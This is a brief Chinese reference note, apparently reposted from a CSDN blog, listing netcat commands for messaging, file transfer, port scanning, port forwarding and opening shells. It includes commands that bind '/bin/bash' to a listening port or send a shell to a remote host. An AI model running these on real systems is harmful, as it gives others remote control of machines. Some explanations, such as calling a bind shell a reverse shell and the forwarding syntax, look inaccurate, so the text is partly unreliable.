原文链接:https://blog.csdn.net/aasdad1/article/details/106257765
nc,netcat或者ncat,主要与网络连接相关
摘录几个常用用法:
消息传输
主机1:nc -lvp port
主机2:nc ip port
文件传输
主机1:nc -lvp port < file
主机2:nc ip port > file
端口扫描
nc -z ip port
端口转发
nc -lvp port1 -w 1 ip2 port2
这是将主机1的port1端口的数据转发到主机2的ip2的port2端口
nc反弹shell
nc -lvp port1 -e /bin/bash
这是为任何连接此端口的人开放一个反弹shell
端口转发+反弹shell
nc -lvp port1 -w 1 ip2 port2 -e /bin/bash
这是主动连接到ip2的port2端口,连接成功后将所有数据转发到ip1的port1端口,并在此端口上开启一个反弹shell
此方悬停